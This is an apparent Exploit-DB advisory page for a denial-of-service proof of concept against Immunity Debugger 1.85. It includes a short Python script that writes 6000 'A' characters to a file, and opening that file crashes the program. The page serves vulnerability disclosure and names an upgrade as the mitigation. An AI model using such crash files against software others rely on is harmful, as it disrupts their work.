Immunity Debugger 1.85 - Denial of Service (PoC)

vendor:

Debugger

by:

Gionathan Reale

7.8

CVSS

HIGH

Denial of Service

119

CWE

Product Name: Debugger

Affected Version From: 1.85

Affected Version To: 1.85

Patch Exists: YES

Related CWE: N/A

CPE: a:immunity:debugger

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 32-bit

2018

Immunity Debugger 1.85 – Denial of Service (PoC)

A buffer overflow vulnerability exists in Immunity Debugger 1.85, which could allow an attacker to cause a denial of service condition. An attacker can leverage this vulnerability by creating a malicious file with a large number of 'A' characters and then opening the file in Immunity Debugger. This will cause the application to crash.

Mitigation:

Upgrade to the latest version of Immunity Debugger.

Source

Exploit-DB raw data:

# Exploit Title: Immunity Debugger 1.85 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Date: 2018-08-28
# Homepage: https://www.immunityinc.com/
# Software Link: https://www.immunityinc.com/products/debugger/index.html
# Tested Version: v1.85
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.exe.txt".Start the program. In the new window click "File" >"Open". 
# Now change the "Files of type" to # "Any file" and select "exploit.exe.txt" . 
# Click "Open" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.exe.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"